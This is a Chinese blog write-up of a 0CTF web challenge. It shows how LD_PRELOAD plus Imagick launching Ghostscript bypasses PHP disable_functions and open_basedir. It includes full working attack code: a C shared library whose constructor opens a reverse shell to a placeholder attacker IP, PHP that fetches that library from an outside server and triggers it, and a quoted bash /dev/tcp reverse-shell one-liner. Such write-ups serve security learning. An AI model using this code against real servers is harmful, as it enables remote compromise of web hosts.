从0CTF的一道Web题看LD_PRELOAD在绕过php disable_functions的应用

0x00写在前面的话

         上周参加了个什么0ctf,毫无意外地一道没做出来,想想看自己参加的比赛次数比自己在比赛时做出的题还多,果然我还是那么菜呢嘤嘤嘤。这篇博文会综合几篇技术文章/writeup写成,但是质量上绝对不如任何我引用的文章,看到这里如果不想看了退出本文可以避免5分钟时间的浪费。

0x01题面

         题目的地址为http://111.186.63.208:31340/
         源码如下
<?php
$dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");
mkdir($dir);
ini_set('open_basedir', '/var/www/html:' . $dir);
?>
<!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body>
<pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: <?php echo ini_get('open_basedir');?>

<?php eval($_POST["backdoor"]);?>
Hint: eval($_POST["backdoor"]);
</code></pre></body>

         disable_functions如下
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail
          各种命令执行函数被禁用,其中Imagick是最新版本3.4,没有之前那个命令执行漏洞了,同时还有个open_basedir限制我们搞事情,事情变得很难办

0x02Writeup

          大佬给出的writeup如下
         Full Writeup Sorry for bad English!
Big steps.
  1. Upload shared library
  2. Set LD_PRELOAD, trigger /usr/bin/gs using Imagick to open invalid .eps file
  3. Get a shell!
          详细WP在链接里面,大概大的步骤就是上传共享库,设置LD_PRELOAD,然后用Imagick打开不合规的eps文件,然后就Getshell了

0x03他妈的LD_PRELOAD是什么鬼啊

          说实话在看到WP之前我并不知道那个LD_PRELOAD到底是什么东西,连看了几篇文章并动手操作了下我才对这玩意有了个基本的认识。CTF的Web项考得就是知识的广度,还得多积累啊!
          LD_PRELOAD是一个Linux里面的环境变量,设置的内容是用户自定义的一个so文件,一旦这个环境变量被设置,那么程序在执行调用函数的时候就会优先使用这个so文件里面的函数而不是其它库里面的函数,听起来有点类似于Windows里面的DLL劫持。

          动手操作的部分已经有人写的很详细了LD_PRELOAD用法,我就不再赘述了。

0x04然而这跟Imagick又有什么关系呢

          大佬们的Writeup里面讲述了他们发现Imagick调用Imagick函数读入一个存在的eps文件的时候会调用execve执行gs,在这个时候LD_PRELOAD。大佬们有的靠读源码,有的靠自己用strace尝试找出了这个东西。总之,他们就是这样奇妙地发现这个了

0x05开始复现

          我就编(抄)写了如下C语言代码

#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "上线连接的IP地址"
#define REMOTE_PORT 上线端口(整型)
int EXECED=0;
__attribute__((constructor)) void init_method(void)
{
if(EXECED==0)
{
EXECED+=1;
unsetenv("LD_PRELOAD");
printf("在?拿好shell");
struct sockaddr_in sa;
int s;

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);

s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);

execve("/bin/sh", 0, 0);
}
}

          这里有个坑需要注意,直接system("bash -i >& /dev/tcp/IP/端口 0>&1")是不可行的
这个命令可以在bash中成功getshell,但是C语言就是不行,不要问我为什么我也想知道。
所以我只好写(抄)了个用SOCKET编程的反弹shell的代码。现在想来我完全可以用msf生成shellcode来搞的,这一步稍稍有点小题大作了。

          还有一个问题就是php通过mkdir创建的目录的问题
mkdir("/tmp/xxx");这个语句在终端里面运行的时候会创建真正的/tmp/xxx目录,但是如果用Apache2执行,产生的/tmp/systemd-private-随机字符串-apache2.service-另一个随机字符串/xxx里面去。我当时就看tmp里面一直没东西我一脸懵比,后来全盘搜索才找到了
这些问题解决了就可以直接上代码了
$dir=explode(":",ini_get('open_basedir'))[1]."/";
$url="http://存文件的服务器/fuck.so";
copy($url,$dir."fuck.so");
file_put_contents($dir."a.eps","shit");
echo "LD_PRELOAD=".$dir."fuck.so";
putenv("LD_PRELOAD=".$dir."fuck.so");
$x=new Imagick($dir."a.eps");
          然后就顺利拿到反弹shell了

0x06总结

          在putenv函数没有遭到禁止且目录可写的时候,有可能可以通过设定环境变量LD_PRELOAD来加载外部so文件以达成突破disable_functions和open_basedir的目的。在查阅了更多资料我发现php自带的mail函数也是调用sendmail来发邮件的,换言之,可以在设定LD_PRELOAD后劫持调用达到目的。另一方面,如果mail函数被禁用还可以寻找可能可以利用的第三方库,可以通过审计源码或者用strace监测调用来挖掘可利用的第三方库

评论

此博客中的热门博文

局域网监控软件WFilter ICF 鸡肋0day RCE漏洞挖掘

别想偷我源码:通用的针对源码泄露利用程序的反制(常见工具集体沦陷)

复现基于eBPF实现的Docker逃逸